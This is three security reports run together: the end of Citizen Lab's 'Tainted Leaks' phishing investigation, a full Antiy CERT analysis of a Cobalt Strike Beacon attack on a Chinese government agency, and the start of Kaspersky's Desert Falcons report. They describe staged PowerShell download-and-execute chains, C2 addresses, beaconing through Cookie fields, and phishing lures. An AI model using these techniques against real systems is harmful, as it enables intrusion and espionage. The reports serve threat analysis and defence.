Considering this primary Russian focus, as well as the technical evidence pointing to overlaps and stylistic similarities with groups attributed to the Russian government, we believe there is strong circumstantialbut not conclusiveevidence for Russian government sponsorship of the phishing campaign, and the tainted leaks.
The civil society targets of this operation deserve special attention.
At least 21 of the targets from our set were journalists, activists, scholars and other members of civil society.
All too often, threats against civil society groups receive second-billing in industry reporting and media coverage of government-linked operations.
Yet, in this case, members of civil society were both the targets of disinformation in the form of 35/43 tainted leaks, and represented a large proportion of the phished targets.
In a cautionary note for grantmakers, several dozen targets all held the same fellowship, from the same organization.
This common affiliation suggests that they may have been targeted because of their relationship with the grantmaker.
We hope this report will encourage others to engage in further research into the techniques used to propagate tainted leaks, as well as serving as a reminder of the often under-reported presence of civil society targets among government-linked phishing and malware operations.
Acknowledgements Special thanks to David Satter, Raphael Satter, and the Open Society Foundations for cooperating and providing us with materials necessary to conduct the investigation.
Thanks to the Citizen Lab team who provided review and assistance, especially Bill Marczak, Masashi Crete-Nishihata, Etienne Maynier, Adam Senft, Irene Poetranto, and Amitpal Singh.
We would like to thank additional researchers for comments and feedback including Jen Weedon, Alberto Fittarelli, Exigent Petrel and TNG.
Support for Citizen Labs research on targeted threats comes from the John D. and Catherine T. MacArthur Foundation, the Open Society Foundations, the Oak Foundation, Sigrid Rausing Trust, and the Ford Foundation.
Appendix A: The Tainting 36/43 37/43 38/43 39/43 Figure 29: Full text of the tainted leak released by CyberBerkut showing tainting Inserted Articles and their Contents Article Author Theme Informational Stuffing: What is Known about Each President Sergei Roldugin Elizaveta Surnachyova Discusses the relationship between Putin and Sergei Roldugin (a cellist and financial associate of Putin).
Roldugin is friends with many Putin insiders, and holds a 3.2 stake in Bank Rossiya.
He also formerly ran two media groups and one oil company.
The Budget of Katherine Tikhonovas Fund Has Grown by Half Vyacheslav Kozlov and Ivan Tkachyov Innopraktika, a fund managed by Putins daughter, saw a very large funding increase.
Igor Shuvalovs Tsar-apartment Costs 600 Times as Ordinary Apartments He Laughed at Alexei Navalny Part of a series on the shell companies used by Igor Shuvalov, and his purchase of a lavish and extremely expensive apartment.
Portraying Benefactor: Who Pays for the Projects Related to Putin Examines the processes by which oligarchs repay the Russian president by contributing money to charities and pet projects.
These include the funds managed by Tikhonova and Roldugin.
40/43 http://www.rbc.ru/politics/29/03/2016/56fa69d79a794784efde8629 http://www.rbc.ru/politics/29/03/2016/56fa69d79a794784efde8629 http://www.rbc.ru/economics/06/04/2016/57051c549a7947b781431a65 http://www.rbc.ru/economics/06/04/2016/57051c549a7947b781431a65 https://republic.ru/posts/71656 Journalists Have Found Analogues of the Ozero Cooperative All Over the Central Russia Slon Relates to a Transparency International and Meduza.io investigation documenting replications of the Ozero Cooperative (Putins dacha organization) across Russia.
This cooperative involves private dacha (cottage) communities in which  politicians, public servants and businessmen live in close proximity, allowing them to conduct informal meetings.
There, Beyond the 6-Meter-High fall of Medvedevs Dacha Alexei Navalny Discusses the 80 hectare (officially only 2 hectare) property belonging to Medvedev, and paid for by oligarchs through contributions made to charitable funds.
He is Putins Cook.
He is Putins Troll.
He is a Billionaire Alexei Navalny A look at Dmitry Rogozin, who runs the troll factory on Savushkina Street in St. Petersburg.
He also controls a series of unrelated companies providing everything from catering to cleaning services to power distribution which benefit from government contracts.
Apartment Worth More than Half a Billion Was Found at Putins Ex- Bodyguard Samename [sic] Maria Zholobova and Maria Borzunova Putins former bodyguard and now governor of Tula region, Alexei Dyumin, is registered as owning an apartment worth between 500-700 million rubles.
Curiously, the apartment was purchased while Dyumin was serving in the Russian Ministry of Defence.
.
Samolet Development is Ready to IPO Irina Gruzinova, Ivan Vasiliev, Irina Skrynnik Samolot Developments is a property development firm building condos.
The company was purchased by Invest AG.
Samolot Developments managed to develop land and obtain permits where others could not given its close ties to the governor of Moscow region, Andrey Vorobev.
His brother, Maksim, is one of Samolots founders.
How Katherine Tikhonovas Fund is Doing Alexei Navalny This report describes multi-million dollar contracts from state firms with the science and tech fund managed by Putins daughter.
The fund also received anonymous donations totalling roughly half its budget, leading to 2015 revenues of 877 million rubles.
Includes quotes of vague and nonsensical project descriptions used to justify payouts.
Article Author Theme Appendix B: Test Account Examining the Google page for the myprimaryreger[]gmail.com account reveals a suspicious series of posts: 41/43 https://republic.ru/posts/73165 https://navalny.com/p/5059/ https://navalny.com/p/5086/ https://tvrain.ru/news/ohrannik_putina-418644/ https://tvrain.ru/news/ohrannik_putina-418644/ https://www.vedomosti.ru/realty/articles/2016/10/12/660545-samolet-development-birzhu?utm_sourcesmi2 https://navalny.com/p/5098/ Figure 30 B: Google profile page for myprimaryreger[]gmail.com Each of the Google profile posts by this user contain images which are routinely observed in legitimate security warning emails sent by Google.
Once an image file is uploaded to a Google profile post, it is copied to Google servers and can be obtained using an associated perma-link.
We suspect that the purpose of these posts is to allow the operator to embed links to Google- specific images into their phishing emails in the hopes that linking to images hosted on Google servers will somehow thwart Gmail malicious email detection controls.
Appendix C: Indicators of Compromise Domain Names IP Addresses Email Addresses id833[.
]ga 89.40.181.119  g.mail2017[]yandex.com id834[.
]ga 89.32.40.238  annaablony[]mail.com id9954[.
]gq 80.255.12.237 myprimaryreger[]gmail.com id4242[.
]ga mail-google-login.blogspot[.
]com com-securitysettingpage[.
]tk Footnotes Colour Revolution is a term that has been widely used to describe the pro-democracy protests and social movements that occurred in the early 2000s throughout the former Soviet Union.
Several individuals were targeted in both of the two distinct campaigns we analysed.
The Citizen Lab receives financial support for its research from a range of funders, including the Open Society Foundations.
See https://citizenlab.ca/about/ 1 2 3 4 42/43 Vedomosti is a Russian language daily news service connected to The Moscow Times (and in which The Financial Times and Dow Jones had a stake until 2015, when Vedomosti and The Moscow Times were bought out by Russian business interests).
The six character base36 sequence space contains over 2.1 billion combinations.
Checking each one with a one-second delay (so as not to abuse the Tiny.cc web service) would take approximately 66 years.
4 5 43/43 Tainted Leaks Disinformation and Phishing With a Russian Nexus Key Points Summary Introduction: Tainted Leaks  Civil Society Targets Patient Zero for the Investigation: David Satter Tainted Leaks: Disinformation 2.0 Pandoras Un-Shortening: High Value Targets Emerge The Importance of Civil Society Targets Notification Part 1: How Tainted Leaks Are Made The Case of David Satter A Second Phishing Email Unauthorized Access Analyzing a Tainted Leak Taint 1: Making reporting look like a secret influence operation Taint 2: Discrediting specific journalists and Kremlin critics Taint 3: Claimedforeknowledge Taint 4: Modifying the Time Frame and Supporting Details Disinformation Campaign Surrounding the Tainted Document The Open Society Foundations Case A Budget Document Proposed Strategy Document Document Addressing the NGO Law Part 2: A Tiny Discovery Tiny.cc Enumeration Decoding the targets Digging Deeper Testing the Lure Part 3: Connections to Publicly Reported Operations A Bit More Abuse Domain Schema Commonalities The Challenge of Attribution Part 4: Discussion Tainted Leaks: A New Trend Falsehoods in a Forest of Facts Tainted Leaks Place a Unique Burden on Breach Victims Tainted Leaks: Old Methods, New Tactics Why Target Civil Society?
Conclusion Acknowledgements Appendix A: The Tainting Inserted Articles and their Contents Appendix B: Test Account Appendix C: Indicators of Compromise Footnotes
First release time: 14:32, May 27, 2015 Updated time of this version: 14:32, May 27, 2015 ANALYSIS ON APT-TO-BE ATTACK THAT FOCUSING ON CHINAS GOVERNMENT AGENCY Antiy CERT Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Contents 1 BACKGROUND ...................................................................................................................................................... 1 2 ANALYSIS ON INCIDENT SAMPLE ........................................................................................................................... 1 2.1 LEADING FILES AND SAMPLE DOWNLOADING ...................................................................................................... 1 2.2 KEY MECHANISM ....................................................................................................................................................... 3 2.3 ANALYSIS ON THE MAJOR SAMPLE (SAMPLE B) OF APT-TOCS ........................................................................................... 3 2.4 ANALYSIS ON SCRIPT 1 ................................................................................................................................................ 3 2.5 ANALYSIS ON MODULE 1 ...................................................................................................................................... 4 2.6 ANALYSIS ON MODULE 2 ............................................................................................................................................. 5 2.7 ANALYSIS ON MODULE 3 ............................................................................................................................................. 6 3 THE AUTHENTICATION ANALYSIS ON THE TECHNOLOGY SOURCES OF THIS ATTACK .............................................. 7 3.1 COMPARISON OF MODULE 1 ............................................................................................................................... 8 3.2 COMPARISON OF DISASSEMBLING COMMANDS OF MODULE 2 ........................................................................... 9 3.3 COMPARISON ANALYSIS ON MODULE 3 DATA PACKAGE ..................................................................................... 10 3.4 CHARACTERISTICS OF COBALT STRIKE ................................................................................................................ 11 4 CONCLUSION ....................................................................................................................................................... 11 APPENDIX 1 REFERENCES OF COBALT STRIKE AND THE AUTHOR ................................................................................. 12 APPENDIX 2 ABOUT ANTIY .......................................................................................................................................... 16 Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 1 1 Background Recently, ANTIY Labs detected an APT attack targeting some government agency in China.
The Shellcode for communication is conducted depending on Beacon mode which is generated on the basis of automatic attack detection platform-Cobalt Strike.
This kind of attack pattern disguising as non-malicious real file in the host of its target, it sending a network heartbeat package every 60 seconds, and it also send data information via the Cookie field, all these features of this attack pattern are designed to evade the detection of security software and the interception of firewall on the targeted host.
Considering the relationship between this attack and Cobalt Strike platform, we name it as APT-TOCS (TOCS refers to Threat on Cobalt Strike.)
for now.
The core step of APT-TOCS is downloading the script functionalities of Shellcode, which downloads a field of data into memory for operation by calling powershell.exe.
The decrypted data is a field of executable Shellcode that is generated by Cobalt Strike (An automatic attack testing platform).
After loading the script of Shellcode, the Analysis Group of ANTIY did a series of correlation analysis, then we found a PE program that maybe act as a guiding executable file in similar attacks.
The loaded Shellcode script can be used to call command line to add a certain field of encrypted date into memory and run it.
The decrypted date turns out to be executable Shellcode which is generated by Cobalt Strike.
The related script can be loaded via the guiding PE program or vulnerability.
This kind of attack pattern has several features which including running in memory, no hard disk writing operations, communicating via Beacon, multi-beacon communication is acceptable, and several Beacons can work simultaneously.
Such attack can be launched without the support of vector file, in fact it depends on network projection and laterally move in the internal network as required conducting an attack.
So, it will bring great difficulties to the forensic work.
It is important to note that, all the Sandboxes we know are disabling to fight against this kind of attack.
It seems that the attack capability of APT-TOCS is close to that of APT-level.
However, it relied on automatic attack testing platform instead of abilities of the attack team.
2 Analysis on incident sample 2.1 Leading files and sample downloading APT-TOCS used powershell.exe to execute Shellcode scripts to realize remote control on targeted system.
The analysts of Antiy thought that the attacker might know several remote injection methods of script downloading privilege, such as directly making the scrip be executed on the host by using security vulnerabilities.
Meanwhile, we found the following binary leading attack files (hereinafter referred to as Sample A) were used in similar attacks before: Virus name Trojan/Win32.MSShell Original file name ab.exe MD5 44BCF2DD262F12222ADEAB6F59B2975B Processor structure X86 File size 72.0 KB (73,802 bytes) Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 2 File format BinExecute/Microsoft.
EXE[:X86] Time Stamp 2009-05-10 07:02:12 Digital signature NO Shell type Unknown Compilation language Microsoft Visual C The functionality code of the scripts embedded in this PE sample is completely the same with the one of Shellcode script Antiy has acquired, while the encryption data of them differs from each other.
This PE sample was firstly uploaded to Virustotal on May 2, 2015: Figure 1 Downloading encryption data using powershell.exe embedded in PE files The PE sample used WinExec to operate embedded malware: Figure 2 Using function WinExec to call powershell.exe to download leading data Therefore, we can see that the leading file can be regarded as the leading part of attack.
However, the execution and control still can be made depending on system and application vulnerabilities without this leading file.
According to above information, we cannot make sure this leading sample has relationship with this APT incident.
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Page 3 2.2 Key mechanism The core part of APT-TOCS relies on the encrypted data scripts (hereinafter referred to as Sample B) downloaded by PowerShell.
Figure 1 consists of various derivation relationships and major module functionalities: Figure 3 Various derivation relationships and major module functionalities 2.3 Analysis on the major sample (Sample B) of APT-TOCS The content (Here omitted the content of base64.)
of Sample B is as follows: Figure 4 Content of Sample B The functionality of this part of script is: decrypting the encrypted content of base64, decompressing with Gzip, resulting in module 1 and using PowerShell to download and execute.
2.4 Analysis on script 1 The content of script 1 is as follows: Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 4 Figure 5 Content of script 1 The functionality of this part is: decrypting data with base64 encryption and getting module 1, then writing to process powershell.exe, and executing and operating.
2.5 Analysis on module 1 The functionality of this module is as follows: calling the function of wininet module, connecting the network, downloading operations of module 2 and executing by downloading to the memory.
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Page 5 Figure 6 Request of HTTP GET Figure 6 shows that using request of HTTP GET to get file: http://146.0.43.107/hfYn.
2.6 Analysis on module 2 Module 2 established and listed system process rundll32.exe: Figure 7 Establishing and listing process rundll32.exe Data that has been written into module 3: Figure 8 Data that has been written into module 3 http://146.0.43.107/hfYn Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 6 Though the data of module 3 started with MZ, it does not belong to PE files.
Instead, it is the Shellcode with backdoor functionality.
Figure 9 Shellcode that started with MZ4D 5A 2.7 Analysis on module 3 The module might connect the following 2 addresses with port 80: 146.0..     (Romania) dc.69.info (146.0..) (Romania) Sending request data and receiving return data.
Figure 10 Sending request data The decryption to above IP, domains and accessing addresses is XOR 0x69.
Judging from the module strings and the system functions, the module belongs to backdoor program that can send GET request to designated addresses and heartbeat packages by using Cookie fields with 60 seconds interval.
The heartbeat package data includes: check code, process ID, system version, IP address, computer name, account, whether it is 64 bit process.
Then it transmits by making use of both RSA and BASE64 encryption.
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Page 7 Figure 11 The original data of heartbeat package As the process ID and check code are different, the transmitted heartbeat package data are different each time.
The check code is calculated through using process ID and the millisecond process during system startup.
The algorithm is as follows: Figure 12 Algorithm of check code The encrypted heartbeat package used Cookie field to transmit: Figure 13 Content of the data package 3 The authentication analysis on the technology sources of this attack The leading PE files, Sample_A and Sample B, associated by analysts of Antiy CERT used the exactly same method of PowerShell.
However, we cannot eliminate the possibility that Sample_A has no positive connection with this attack due to the high standardization of relevant scripts.
We still consider it as a series of attack incidents based on other comprehensive analysis.
The attacker might exploit the following ways to control the target host, such as social engineering e-mails, file bundling, exploiting system and application vulneratbilities, lateral Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 8 movement of intranet and so on.
We found Beacon strings when analyzing Module 1.
According to existed experience, we doubted that Shellcode is closely related with automatic attack testing platform Cobalt Strike.
Therefore, our analysts carried out comparison analysis on Beacon generated by Cobalt Strike, and authenticated the relationships between them.
Cobalt Strike is the GUI framework penetration tool based on metasploit.
The business version of it integrates the following characteristics: service scan, automatic overflow, multi-mode port espionage, various Trojan generation, phishing attack, site clone, target information obtaining, automatic browser attack and so on.
3.1 Comparison of Module 1 We compared module 1 and the payload generated by using Beacon, and found only the following different data: the Head data, request file name and IP address.
Figure 14 Comparison of Module 1 The left is sample module 1, while the right is the module generated by Beacon.
We can lead to the conclusion from the comparison: module 1 is generated by Beacon.
The screenshot of data package in request is as follows: Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 9 Figure 15 The data package comparison of module 1 3.2 Comparison of disassembling commands of module 2 Our analysts compared sample module 2 and relevant files of Beacon, and found that the disassembling commands between them are exactly the same with exception of functionality code, including XOR encryption at the entry, downloading system DLL, obtaining function address, function calling modes and so on.
The following lists three points.
Sample module 2 Relevant Beacon files XOR decry ption at t h e  e nt r y (Using x86 /shikata_g a_nai) Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 10 The decrypted code at the entry Function calls 3.3 Comparison analysis on module 3 data package The following figure is the GET request comparison of the module generated by sample module 3 and Beacon.
Here we can see both of them use Cookie to transmit information that has been encrypted, and send requests actively every 60 seconds.
The data package is heartbeat.
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Page 11 Figure 16 Comparison of module 3 data package 3.4 Characteristics of Cobalt Strike Using Cobalt Strike attack can execute various operations in the targeted systems, such as downloading and uploading files, executing designated programs, injecting keyboard recorder, executing commands via PowerShell, importing PowerShell script, executing commands via CMD, accessing system passwords and so on.
Cobalt Strike has the following characteristics: Penetrating sandbox Avoiding whitelist mechanism and cloud detection Intranet penetration Persistent attacks Attacking various platforms 4 Conclusion With an automated test platform Cobalt Strike, the attack penetration can penetrate firewall, the approach the attackers used to control targeted host is covert and undetectable whats more, it can attack various platforms, such Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 12 as Windows, Linux, Mac etc.
its formidable adversary to Trusted Computing, Cloud Detection, Sandbox Detection and so on.
According to the traces in the past, we believe that the threat has been active for 5 years unfortunately, there isnt any powerful detection production and methods to defeat the malicious attack till now.
The reason why the CERT Analysis Team of ANTIY classified APT-TOCS into APT incidents is that its a kind of targeted attack (one of the features of APT attack), it has anti-detection functions and also it can conceal itself.
Compared with APT incidents in the past, the APT attack in this case doesnt cost too much, and the attackers arent responsible for coding.
With the application of commercial attack platform,  the attackers saved the cost of an attack, also the vulnerability built joint function provided by relevant attack platform make the attackers easy to do injection.
As a result, nations and organizations which without its own elite hacker groups and abundant capital can also launch some kind of APT attack via the attack pattern mentioned in this case.
Meanwhile, its more difficult for us to tracing when facing such modeled attack.
One of the leaders in Information Security area-Bruce Schiner said, when big events on information security happened, people tend to treat it as an example of cyber warfare.
Its ridiculous.
From my point of view, whats happening and going to happen is: more and more tactics in physical warfare are applied to cyber warfare.
Its important to note that, attack capabilities can be widely distributed if attackers take full advantages of certain technology, especially computer technology can make attack more powerful and automated.
Obviously, highly automated commercial platform realized a high speed of spread of this attack capability (exceeded our anticipation).
We have to remind all relevant parties that we are confronting with the risk of large scale diffusion of network armaments which is led by the low cost of the attack capability.
The commercial penetration attack detecting platform has two sides, on one hand, it can check the network environment of systems effectively, on the other hand, for nations, organizations and industries which has limited budget, it costs too much.
Given the situation, all related parties should conduct more communication with each other, additionally, there is no doubt that both offensive party and defensive party are supported by superpowers, these superpowers should prevent the attack technique from widely distributing.
The incident mentioned there has no difference with other cases we detected in the past, it shows that, on the way to realize national informatizaion, we must fight against serious security challenges as we confronting now its also a good opportunity for our Chinese people and enterprises to demonstrate our faith and the efforts we made to conquer the challenge.
Appendix 1 References of Cobalt Strike and the author Cobalt Strike is the business version of Armitage which is the penetration testing software of Metasploit figure interface written by Java.
Armitage can carry out automatic attacks by combining with known exploits of Metasploit.
It integrates the free version of Armitage under bt5 and kali linx, and the most powerful functionality is adding the Payload of Beacon.
The first release time of Cobalt Strike is June, 2012.
Version Description Cobalt Strike1.45 and the It can connect the metasploit of Windows.
Then it must connect metasploit of Linux.
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Page 13 former versions Cobalt Strike1.46 System analyzer used return steps to check on Java report version, and fixed the exploits generated by private key.
Cobalt Strike1.47 Relieved multiple Beacon information backlog had a overall check when dictograph was on.
Cobalt Strike1.48 Adding timestomp command to Beacon the waiting time of copying bypassuac privilege files lasted 10 seconds.
Cobalt Strike1.49 Fixed Beacon HTTP Stager payload generator of Windows XP.
Cobalt Strike2.0 CC of plasticity, adding option veil to the payload generator.
Cobalt Strike2.1 PowerShell command started major local PowerShell updated build.sh tool.
Cobalt Strike2.2 Reconstructed the VNC server of process injecting and connecting with targeted system.
The new process is easier to be neglected due to the host firewall.
The exploit report showed URL quotes from ZDI, MSB, US-CERT-VU and WPVDB.
Cobalt Strike2.3 Compiled the DNS field of Beacon with customized encoder.
Beacon added command runas and pwd.
Cobalt Strike2.4 Adding time stamp to view - web log regenerating new default Beacon HTTPS certification with different parameters then generating C2 HTTPS certification updating executable files and default tool kit of DLLS.
Author of Cobalt Strike: Raphael Mudge Raphael Mudge is the founder of Strategic Cyber LLC, a Washington, DC based company that creates software for red teams.
He created Armitage for Metasploit, the Sleep programming language, and the IRC client jIRCii.
Previously, Raphael worked as a security researcher for the US Air Force, a penetration tester, and he even invented a grammar checker that was sold to Automattic.
His work has appeared in Hakin9, USENIX login:, Dr. Dobbs Journal, on the cover of the Linux Journal, and the Fox sitcom Breaking In.
Raphael regularly speaks on security topics and provides red team support to many cyber defense competitions.
Education background: Syracuse University, Michigan Technological University Current position: Strategic Cyber LLC , Delaware Air National Guard Skills: software development, information security, object-oriented design, distributed system, figure interface, computer network design, blog system, social engineering, security research and so on.
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Page 14 Company/Project/Organization Postion Time Strategic cyber LLC Founder and Principal January, 2012-now Delaware Air National Guard Major 2009-now Cobalt strike Principal Investigator November, 2011- May, 2012 TDI Senior Security Engineer August, 2010  June, 2011 Automattic Code Wrangler July, 2009  August, 2010 Feedback Army, After the Deadline Founder July, 2008 November, 2009 Air Force Research Laboratory Systems Engineer April, 2006  March, 2008 US Air Force Communications and Information Officer March, 2004 - March, 2008 Supported organizations: Collegiate Cyber Defense Competition (CCDC) North East CCDC 2008-2015 Mid Atlantic CCDC 2011-2015 Pacific Rim CCDC 2012, 2014 South East CCDC - 2014 Western Regional CCDC - 2013 National CCDC 2012-2014 Projects: Sleep Scripting Language An extensible general purpose language with Perl inspired syntax for the Java platform.
Sleep is open source, licensed under the LGPL.
jIRCii Scriptable Internet Relay Chat client for Windows, MacOS X, and Linux.
jIRCii is open source, licensed under the artistic license.
Published works: Live-fire Security Testing with Armitage and Metasploit Get in through the backdoor: Post exploitation with Armitage Tutorial: Hacking Linux with Armitage Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 15 The Design of a Proofreading Software Service Agent-based Traffic Generation Contribution: cortana-scripts metasploit-loader malleable-c2-profiles layer2-privoting-client armitage Projects: Enterprise-level business cooperation After the Deadline Feedback Army Cobalt Strike Open source software Armitage Far East jIRCii Moconti One Hand Army Man s phPERL Same Game Sleep Reference linking: https://plus.google.com/116899857642591292745/posts google https://github.com/rsmudge    (GitHub) https://www.youtube.com/channel/UCJU2r634VNPeCRug7Y7qdcw (youtube) http://www.oldschoolirc.com/ https://twitter.com/rsmudge http://www.hick.org/raffi/index.html http://www.blackhat.com/html/bh-us-12/speakers/Raphael-Mudge.html Analysis on APT-to-be Attack That Focusing on Chinas Government Agency Antiy Labs.
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Page 16 http://www.linkedin.com/in/rsmudge Appendix 2 About Antiy Antiy Labs is a professional next-generation security-testing engine RD enterprise.
Antiys engines provide the ability to detect various viruses and malware for network security products and mobile devices, which are used by more than ten well known security vendors.
Antiys engines are embedded in tens of thousands of firewalls and tens of millions of mobile phones all over the world.
Antiy Labs is awarded the Best Protection prize by AV-TEST in 2013.
Based on engines, sandboxes and background systems, Antiy Labs will continue to provide traffic-based anti-APT solutions for enterprises.
More information about antivirus engine, http://www.antiy.com (Chinese) http://www.antiy.net (English) More information about anti-APT products of Antiy, http://www.antiy.cn http://www.antiy.com/ http://www.antiy.net/ http://www.antiy.cn/
THE DESERT FALCONS TARGETED ATTACKS Version 2.0 February, 2015 TheSAS2015 FalconsAPT http://sas.kaspersky.com/ https://twitter.com/hashtag/FalconsAPT TLP: White For any inquiries, please contact intelreportskaspersky.com 2 Table of contents 1.
Executive Summary ........................................................................... 4 2.
Introduction ........................................................................................ 5 3.
Operation Goals and Victim Profiles .................................................. 6 3.1.
Stolen Files information ............................................................................ 7 4.
Operation Analysis ............................................................................. 8 4.1.
Deceive and Infect ..................................................................................... 8 4.1.1.
Targeted emails and documents ................................................... 8 4.1.2.
Just click the shortcut: the rar/lnk trick ......................................11 4.1.3.
Right-to-left extension override trick ...........................................12 4.1.4.
Social Networking tricks...............................................................12 4.1.5.
The fake RealPlayer plugin trick ..................................................14 4.2.
Infiltrate and Spy ......................................................................................15 4.2.1.
The Falcons main Trojan  ............................................................15 4.2.2.
DHS spyware .................................................................................16 4.2.3.
DHS2015, also called iRat...........................................................17 4.2.4.
Mobile backdoor traces ...............................................................17 4.2.5.
Other tools by DHS .......................................................................18 4.2.6.
Compilation timeline for samples................................................19 4.3.
Track and Control .....................................................................................19 4.3.1.
1st Campaign - targeting computer devices and mobiles ...........19 4.3.2.
2nd Campaign ................................................................................20 4.3.3.
3rd Campaign ................................................................................20 4.3.4 Liptona.net .....................................................................................21 4.3.4.
Campaigns operational timeline .................................................22 mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 3 5.
Attribution ......................................................................................... 23 6.
Conclusion ........................................................................................ 24 7.
Appendix ........................................................................................... 25 7.1.
Appendix 1: CCs Whois History  ...........................................................25 7.2.
Appendix 2: IOC  Samples ....................................................................25 7.2.1.
Known Falcons CC hostnames ..............................................25 7.2.2.
Related Domains  .................................................................................26 7.2.3.
Known Falcons CC IPs ............................................................26 7.2.4.
MD5s of backdoors used in the attacks .....................................26 7.2.5.
Backdoor related files ..................................................................27 7.2.6.
Attacker e-mail accounts used in spear phishing attacks .........27 mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 4 1.
Executive Summary Desert Falcons is a new group of cybermercenaries operating from the Middle East and using aset of methods to hide and operate malware.
The cybercriminals appear to be highly skilled: in addition to proficient social engineering tricks, they have developed the following from scratch: Computer systems malware targeting Windows devices Mobile malware targeting Android devices Infection vectors, including phishing emails, fake websites and fake social networking accounts Potential victims were enticed with socio-political news and information, and many succumbed rapidly to malware infection.
The victims targeted include: Military and Government Newspaper, TV/Radio Channels and Top Media Outlets Financial and Trading Institutions Research and Education Institutions Activists and Political Leaders Energy Firms Physical Security Companies Victims of the Desert Falcons are located mainly in the following countries: Egypt Palestine Israel Jordan The Desert Falcons cybercriminals are native Arabic speakers and it is believed to be the first known Arab group to develop and run a full cyber espionage operation.
Desert Falcons began its operations in 2011, with the first infections taking place in 2013.
The group became very active in late 2014/early 2015.
The Desert Falcons comprises around 30 members working in three teams and operating mainly out of Palestine, Egypt and Turkey.
The number of victims to date exceeds 3,000.
The groups malware was originally found during an attack investigation in the Middle East.
Kaspersky Lab clients are protected from infection, with the malware files and domains used in the targeted attacks detected and blocked.
mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 5 2.
Introduction The geopolitical conflicts in the Middle East have deepened over the last few years.
The crisis is taking many forms, and the conflict in cyberspace is intensifying as different sides try to shift the struggle in their favour by exploiting cyber intelligence and distorting news.
Targeted cyberattacks have also increased rapidly in the region over the last few years, with victims identified for almost every one of the major advanced cyberattack campaigns (Regin, Epic Turla, Careto, Nettraveler, Red October, Flame, Gauss, Duqu, and more.)
The Global Research and Analysis Team (GReAT) at Kaspersky Lab has uncovered new targeted attacks in the Middle East.
Native Arabic-speaking cybercriminals have built advanced methods and tools to deliver, hide and operate malware that they have also developed themselves.
This malware was originally discovered during an investigation of one of the attacks in the Middle East.
Political activities and news are being actively used by the cybercriminals to entice victims into opening files and attachments.
Content has been created with professionalism, with well designed visuals and interesting, familiar details for the victims, as if the information were long awaited.
The victims of the attacks to date have been carefully chosen they are active and influential in their respective cultures, but also attractive to the cybercriminals as a source of intelligence and a target for extortion.
The attackers have been operating for more than two years now, running different campaigns, targeting different types of victims and different types of devices (including Windows- and Android-based).
We suspect that at least 30 people distributed across different countries are operating the campaigns.
As a security organization, our analysis has focused only on the malware and the facts uncovered during our research.
The falcon is a popular and rare bird that has existed for a long time in Arabian countries with deserts, such as Egypt, Syria, the United Arab Emirates, Palestine, Saudi Arabia, and Oman, among others.
It is also a symbol of hunting and sharp vision.
The Desert Falcons are proficient cyberattackers, with carefully chosen targets, who are all thoroughly investigated before being attacked and infected.
mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 6 3.
Operation Goals and Victim Profiles One of the most mysterious things about the Falcons is the range and variety of victims with clear political, geographical and social distinctions between them.
Further details of individual categories of victims Victim Category Victim Description Media Organizations and popular senior reporters from large and small, global and local media organizations, with wide coverage in the Middle East region Education and Activists Islamic universities, immigrants and rights activists of Arab origin were among the most targeted with attackers trawling through pictures, video and audio recordings Government Organisations and personnel responsible for national health, combatting money laundering, economy, trade, ministries, research and development Military High-ranking personnel related to security agencies and army command units Energy/Utilities Critical infrastructure suppliers (power, oil and gas, construction and smart grids) Industrial Supply chain contractors providing manufacturing material and equipment for clients including the military and aerospace.
Financial Multiple banks and investment firms were affected Physical Security One of the most mysterious victim categories, with major firms targeted in multiple countries.
mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 7 A screenshot from one of the physical security providers targeted shows the attackers interest in information about security officers and their assignments.
It is possible that these victims were targeted in order to collect useful information that could be used in actual physical crime.
3.1.
Stolen Files information The Desert Falcons operations were found to be mainly focused on political and military intelligence.
In all, the attackers were able to steal more than one million files and documents containing sensitive information from victims computers and devices.
mailto:intelreports40kaspersky.com?subject TLP: White For any inquiries, please contact intelreportskaspersky.com 8 4.
Operation Analysis The Desert Falcons make use of different tools and techniques to Deliver, Infect, Spy on andManage their victims.
Below we outline each of the methods involved and how they were carefully used to operate the cyber espionage activities.
They are grouped into three sections as follows: Deceive and Infect Infiltrate and Spy Track and Control 4.1.
Deceive and Infect Malware writers use multiple technical and social engineering methods to deliver their files and encourage the victims to run them creating an effective infection vector, even when they are targeting what should be well-protected organisations such as governments, banks and leading media outlets.
In this case the attackers depended mainly on social engineering to exploit: Victims trust in social networking forums Victims curiosity about news relating to political conflict in their country In the following sections we outline the different methods used by the cybercriminals to infect their victims.
4.1.1.
Targeted emails and documents The Falcons attacks used spear phishing e-mails that attempted to trick the victim into opening a malicious attachment.
Spear phishing was mainly used when targeting important victims such as governments or high profile media.
The spear phishing e-mails used by the Falcons were very well structured with filenames andattachments selected with care for the targeted victim.
Email samples Email information Time of delivery From:   (Executive Secretary) Subject:   (The financial benefits) Attachment:  //.rar//   .scr (a detailed report on the benefits) March 2014 From:   (The media reporter Rana) Subject:   .
(
